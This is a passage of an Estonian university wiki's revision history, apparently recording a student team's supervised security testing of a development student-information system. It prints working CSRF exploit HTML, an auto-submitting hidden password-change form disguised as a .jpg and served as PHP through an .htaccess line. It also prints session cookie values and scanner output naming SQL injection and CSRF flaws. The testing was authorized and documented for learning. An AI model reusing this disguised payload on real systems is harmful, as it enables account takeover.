Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
:Alo Konno A21&lt;br /&gt;
:Urmo Lihten A21&lt;br /&gt;
:Taavi Podžuks A22&lt;br /&gt;
:Matis Alliksoo A22&lt;br /&gt;
:Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Täname oma juhendajaid:&lt;br /&gt;
:Mart Mangus&lt;br /&gt;
:Margus Ernits&lt;br /&gt;
:Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47076</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47076"/>
		<updated>2012-03-30T21:08:17Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Burpsuite v1.4 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
::A1: Injection - Urmo&lt;br /&gt;
::A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
::A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
::A4: Insecure Direct Object References - Alo&lt;br /&gt;
::A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
::A6: Security Misconfiguration - Matis&lt;br /&gt;
::A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
::A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
::A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
::A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
:1.1	Tutvuda OWASP’iga. &lt;br /&gt;
:1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
:1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
:2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
:2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
:2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
:2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
:3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
:3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
:4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
:5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
